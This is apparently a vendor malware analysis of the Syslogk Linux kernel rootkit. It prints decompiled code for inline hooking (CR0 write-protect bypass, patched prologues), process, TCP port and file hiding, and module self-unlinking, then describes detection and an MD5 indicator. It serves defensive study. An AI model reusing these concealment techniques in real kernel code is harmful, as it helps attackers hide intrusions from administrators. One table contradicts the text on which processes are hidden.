

Detection and Removal of the Syslogk Rootkit in a Linux Environment

A asec.ahnlab.com/en/95254

ATCP

September 2, 2026



1. Overview

The AhnLab SEcurity intelligence Center (ASEC) continuously monitors various threats targeting Linux environments. Techniques that modify the Linux kernel to conceal malware and signs of compromise have been used for a long time, and Syslogk is one such rootkit that operates in this manner. This document provides an analysis of the key features and operational mechanisms of the Syslogk rootkit, along with detection and remediation strategies for our products developed based on this analysis.

2. Rootkit Features

The Syslogk rootkit uses inline hooking and VFS table hooking to conceal processes, network communications, and files, and it modifies the execution flow of specific kernel API functions through these methods. Below is a description of these two hooking methods, along with the API functions targeted by each method and their intended purposes.

2.1. Concealment of Processes and TCP Communication (Inline Hooking)

The inline hooking technique directly patches the prologue (OP code section) of an API function to intercept the call to the original API function and ensure that a function defined by the threat actor is executed first.

The address of a specific function is identified through the kernel symbol table (/proc/kallsyms) and stored in a predefined structure for later use.

```
30 my_pfnlookup_address = each_kallsyms("lookup_address", "/proc/kallsyms");
31 if ( !my_pfnlookup_address )
32     return 1;
33 hookStructure_1 = &hks;
34 do
35 {
36     if ( hookStructure_1->hookFuncStr )
37     {
38         hookFuncAddress_1 = each_kallsyms(hookStructure_1->hookFuncStr, "/proc/kallsyms");
39         hookStructure_1->hookFuncBackup = hookFuncAddress_1;
40         if ( hookFuncAddress_1 )
41         {
42             hookAlloc = hookStructure_1->hookAlloc == 0;
43             hookStructure_1->hookFuncAddress = hookFuncAddress_1;
44             if ( !hookAlloc )
45             {
46                 if ( init_origin_bak_stub(hookStructure_1) )
47                     return 1;
48                 _InterlockedIncrement(&hookStructure_1->isOn);
49             }
50         }
51     }
52     ++hookStructure_1;
53 }
54 while ( hookStructure_1 != &check_null );
```

[Figure 1] Code for finding the address of a specific API function using kallsyms

To disable memory write protection, the Write Protect bit in the CR0 register (a global configuration register that controls the processor's operating policies, such as protected mode and write protection) is set to 0. Next, the PTE (Page Table Entry) for the memory page containing the API function's address is retrieved, and write permissions are set. After this process, the data in that page can be modified.

```

55 hookStructure = &hks;
56 do
57 {
58     if ( hookStructure->hookFuncStr && LODWORD(hookStructure->isOn) == 1 )
59     {
60         // 쓰기 권한 설정
61         v8 = pv_cpu_ops[3]() & 0xFFFFFFFFFFFFFFFF; // read_cr0 (Write Protect: 0)
62         v9(v8); // write_cr0
63         v10 = (my_pfnlookup_address)(hookStructure->hookFuncAddress, v16);
64         if ( (*v10 & 0xFFFFFFFFFFFFFFFFD) != 0 )
65             *v10 |= 2uLL; // _PAGE_RW: 1
66         malFunc = hookStructure->malFunc;
67
68         // 함수 프로로그 변조
69         hookFuncAddress = hookStructure->hookFuncAddress;
70         *hookFuncAddress = 0x48;
71         *(hookFuncAddress + 1) = 0xB8;
72         *(hookFuncAddress + 2) = malFunc;
73         *(hookFuncAddress + 10) = 0x50;
74         *(hookFuncAddress + 11) = 0xC3;
75
76         // 쓰기 권한 해제
77         v13 = pv_cpu_ops[3]() | 0x10000; // read_cr0 (Write Protect: 1)
78         v14(v13); // write_cr0
79         v15 = (my_pfnlookup_address)(hookStructure->hookFuncAddress, v16);
80         *v15 &= ~2uLL; // _PAGE_RW: 0
81     }
82     ++hookStructure;
83 }
84 while ( hookStructure != &check_null );

```

[Figure 2] Code for setting write permissions and tampering with the prologue of a specific API function

Next, the prologue section of the API function is tampered with using the following assembly code. This patched prologue ensures that a threat actor-defined function is executed when the API is called.

MOV RAX, [Address of the threat actor's intended function] PUSH RAX RET

[Table 1] Example of executing a threat actor-defined function

The two kernel functions subject to inline hooking are `proc\_root\_readdir` (for process obfuscation) and `tcp4\_seq\_show` (for TCP socket obfuscation); the purpose of hooking each function is as follows.

2.1.1. Process Concealment (proc_root_readdir)

The `proc\_root\_readdir` function iterates through process entries in the `/proc` directory and calls registered callback functions. It is called when process-related utilities such as `ps`,

`top`, and `pstree` output a list of processes.

If this function is called while hooked, the function defined by the threat actor will execute, as shown in the image below. The address of the originally passed legitimate callback function (the third argument) is backed up, and the callback function defined by the threat actor is inserted as the third argument before the original `proc\_root\_readdir` function is called.

```
1 __int64 __fastcall hk_root_readdir_0(file *filp, void *dirent, __int64 *filldir)
2 {
3     __int64 filldir_1; // rdx
4
5     _fentry__(filp);
6     bk_proc_filldir = filldir_1;
7     return (hks.original_stub)(filp, dirent, nw_proc_filldir);
8 }
```

[Figure 3] Code that saves the original callback function and configures the system to execute the threat actor's intended callback function

If the process name is "was_sys_relay" or if that process is the parent or grandparent, the entry is not returned to conceal it. For all other PIDs, the legitimate callback function is executed to make the process visible.

```
87 // was_sys_relay 프로세스 확인
88 if ( !strstr((v13 + 1656), "was_sys_relay") )
89     // 해당 프로세스가 아니면 원래 Callback 함수 호출
90     return (bk_proc_filldir)(a1, a2, v24, v7, v5, v3);
91
92 // 해당 프로세스인 경우 반환하여 프로세스 은폐
93 was_sys_relay_pid = pid;
94 v16 = v23;
95
96 do
97 {
98     v17 = *(v16 + 1188);
99     v27 = *(v16 + 1368);
100     was_sys_relay_ppid = v17;
101     v16 = v27 - 1368;
102 }
103 while ( v27 - 1368 != v23 );
104
105 if ( pid > 0x7FFF )
106     return 0;
107
108 pidtab[pid >> 3] = (1 << (pid & 7)) | pidtab[pid >> 3] & ~(1 << (pid & 7));
109 return 0;
```

[Figure 4] Part of the code for concealing specific processes

Details regarding the concealment conditions are as follows.

Concealment Conditions	Whether to Hide the Process
PID < 2	Not hidden
“Was_sys_relay” process	Hidden
Processes with “was_sys_relay” as the parent process	Hidden
Processes for which “was_sys_relay” is the parent process	Hide
All other processes	Hide

[Table 2] Concealment Conditions

2.1.2. TCP Socket Concealment (tcp4_seq_show)

The tcp4_seq_show function outputs information about each TCP socket when reading from /proc/net/tcp, and is called during TCP command execution, such as netstat. It is called once for each socket displayed, and since the output data is stored in the first argument (the `seq\_file` structure), a threat actor can manipulate this to conceal information about specific sockets.

If this function is called while hooked, the original function is first executed to output information for a single socket; if a specific port number is included, as shown in the image below, that entry is removed so that the user cannot verify communication on that port.

```

15 // 원본 함수 실행 (IP주소:포트번호가 포함되어 있는 문자열 한 줄 출력)
16 result = (tcp_seq_show_struct.original_stub)();
17 v3 = result;
18
19 if ( !logininfo && !*&port_4 )
20     return result;
21
22 // 특정 포트 확인
23 if ( port_1 )
24 {
25     // 특정 포트 번호를 문자열 형태로 변경
26     sprintf(v8, ":%04X", port_1);
27
28     // 현재 저장된 문자열의 150바이트(한 줄) 감소된 위치 확인
29     v5 = seq->count - 150;
30
31     // 만약 해당 포트가 문자열에 들어가 있으면 한 줄 삭제
32     if ( strstr(&seq->buf[v5], v8, 150) )
33         goto DELETE_PORT;
34 }

```

[Figure 5] Code that removes entries containing specific ports

2.2. File Concealment (VFS Table Hooking)

The VFS (Virtual File System) table is a structure that stores pointers to file system operation functions to handle various file systems through a single common interface. The VFS hooking technique modifies the addresses of such API functions so that a function defined by the threat actor is executed first.

The threat actor performed hooking only on the `readdir` function in the VFS table, changing the `readdir` pointer in the VFS table to the address of a function defined by the threat actor.

```

1 int (__fastcall hk_get_vfs(char *path, int (*func)()))()
2 {
3     file *v2; // rax
4     const struct file_operations *f_op; // rdx
5     int (*readdir)(); // r12
6
7     _fentry__(path);
8     v2 = filp_open(path, 0, 0);
9     if ( !v2 )
10         return 0;
11     f_op = v2->f_op;
12     readdir = f_op->readdir;
13     f_op->readdir = func;
14     filp_close(v2, 0);
15     return readdir;
16 }

```

[Figure 6] Code for changing the address of the `readdir` function through VFS table hooking

The readdir function tampered with by the threat actor is shown in the image below. Similar to the `proc\_root\_readdir` function described earlier, the threat actor backs up the address of the originally passed legitimate callback function (the third argument), inserts a callback function defined by the threat actor, and then executes the original `readdir` function.

```

1 __int64 __fastcall hk_root_readdir(file *file, void *dirent, __int64 *filldir)
2 {
3     __int64 original_stub; // rdx
4
5     _fentry__(file);
6
7     // 원래의 filldir Callback 백업
8     bk_root_filldir = original_stub;
9
10    // 원래의 readdir 실행 (공격자가 변조한 filldir Callback 사용)
11    return (bk_root_readdir)(file, dirent, nw_root_filldir);
12 }

```

[Figure 7] Code that backs up the callback function and configures the system to execute the threat actor-defined callback function

In the callback function set by the threat actor, if a file or directory name contains the string “was-patch,” the corresponding entry is not returned, thereby concealing it. If this condition is not met, the normal callback function is executed, making the remaining files or directories appear normal.

```

21 copied_name = _kmallocc(namelen_size, 0xD0);
22 copied_name_1 = copied_name;
23 if ( copied_name )
24 {
25     memset(copied_name, 0, namelen_size);
26     memcpy(copied_name_1, name, namelen_1);
27
28     // 해당 파일 또는 디렉토리가 was-patch 문자열이 포함된 경우
29     if ( strstr(copied_name_1, "was-patch") )
30     {
31         // 반환을 통해 해당 파일 은폐
32         kfree(copied_name_1);
33         return 0;
34     }
35     kfree(copied_name_1);
36 }
37 return (bk_root_fillddir)(buf, name, namelen_1, offset_2, ino_2, d_type_2);
38 // 조건에 해당되지 않는 경우 원본 fillddir Callback 함수 호출

```

[Figure 8] Code that conceals files or directories whose names contain the “was-patch” string

However, since this method does not hide the entire Path, items containing “was-patch” cannot be detected using the `ls` command; nevertheless, it is possible to access the directory through the `cd` command and view the files within it.

2.3. Rootkit Concealment (LKM (Loadable Kernel Module) Concealment)

An LKM is an object file containing code that is dynamically loaded into the running kernel to extend kernel functionality. Syslogk hides the LKM by removing its own module node from the kernel module list.

When the concealment function is called, it first checks whether the location of the existing module node is stored in the `mod\_list` variable to determine the current concealment status. If it has not yet been hidden, it backs up the current node location and then removes the node from the doubly linked list that manages kernel modules. As a result, Syslogk does not appear in the list of modules returned by the `lsmod` command.

It also removes its own kobject node from /sys/module. `State\_in\_sysfs` is a status value indicating whether the object is registered in sysfs; a value of 1 means it is registered. When the node is removed, this value changes to 0; therefore, Syslogk resets the value to 1 to maintain the appearance of being registered. After this process, the module can no longer be found in `/sys/module`.

```

1 kobject *__fastcall kv_hide_mod(__int64 a1)
2 {
3     kobject *result; // rax
4     list_head *LIST_POISON1; // rbx
5     struct list_head *LIST_POISON2; // r12
6
7     result = _fentry__(a1);
8
9     if ( !mod_list )
10    {
11        // 루트킷 모듈을 모듈 이중 리스트에서 끊어서 은폐
12        LIST_POISON2 = _this_module.list.next;
13        mod_list = _this_module.list.prev;
14        LIST_POISON1 = mod_list;
15        raw_qspin_lock(&hiddenmod_spinlock);
16        LIST_POISON2->prev = LIST_POISON1;
17        LIST_POISON1->next = LIST_POISON2;
18        pv_lock_ops[2](&hiddenmod_spinlock);
19
20        // /sys/module에서 해당 루트킷 모듈 제거
21        rmmod_ctrl.attrs = sect_attrs;
22        rmmod_ctrl.parent = _this_module.mknob.kobj.parent;
23        kobject_del(_this_module.holders_dir->parent);
24        result = _this_module.holders_dir->parent;
25        *(result + 0x3C) |= 2u;
26    }
27    return result;
28 }

```

[Figure 9] Code for hiding the rootkit driver

3. Rootkit Countermeasures

3.1. Rootkit Detection and Remediation

On a system where the Syslogk rootkit is active, as shown in [Figure 10], some files that actually exist do not appear in the output of the `ls` command.

```
root@dev:~/test# ls
flock_repro.c ptestfile trigger_rename.sh
root@dev:~/test# ll
total 16
-rw-r--r-- 1 root root 6204 Apr 15 15:35 flock_repro.c
-rw-r--r-- 1 root root 8 Jul 20 15:12 ptestfile
-rwxr-xr-x 1 root root 1991 May 6 16:24 trigger_rename.sh*
root@dev:~/test#
```

[Figure 10] Status where some files are hidden by the Syslogk rootkit

When the system was scanned using the V3 Net for Linux Server product, it detected the hidden kernel module and was able to restore visibility; after remediation was complete, the previously hidden files could once again be viewed normally. This enables the detection and remediation of kernel-level concealment behaviors that are difficult to identify through standard system checks.

```
v3net> show eventlogs
V3 Net for Linux Server (Event Logs)
```

Date	Type	Event Details Description
2026-09-01 09:30:33	Information	Detection of hidden kernel module has completed. (Detected: 1, Unhidden: 1) N/A
2026-09-01 09:30:32	Information	Detection of hidden kernel module has started. N/A
2026-09-01 09:30:32	Information	Pre-scan started. N/A
2026-09-01 09:30:31	Information	File scan completed (Scanned: 3, Infected: 0, Cleaned: 0) N/A
2026-09-01 09:30:30	Information	File scan started N/A

[Figure 11] Results of V3 Net for Linux Server detecting and unhiding a hidden kernel module

```
root@dev:~/test# ls
ahnmf_event.log      check_address      eicar.com.zip      esp.sh             lup_event.log
a.out                check_address.ko  eicar_dropper32    ex_rule.json       only_files.txt
atamptl_event.log    copy.sh           eicar_dropper64    flock_repro_2.c    ptestfile
cerule.json           diff.txt          eicar_dropper.zip  flock_repro.c      sacu.sh
cerule.json.enc       disk.img          epa_rule.json      kill_victim        sample_sp_rule.json
changed_files.txt     eacu.sh          erts.sh            log.txt            schook_kill.ko
root@dev:~/test#
```

[Figure 12] Status showing that previously hidden files are visible again after remediation

MD5
8433c3f870729889f4b9712e26fe2fc8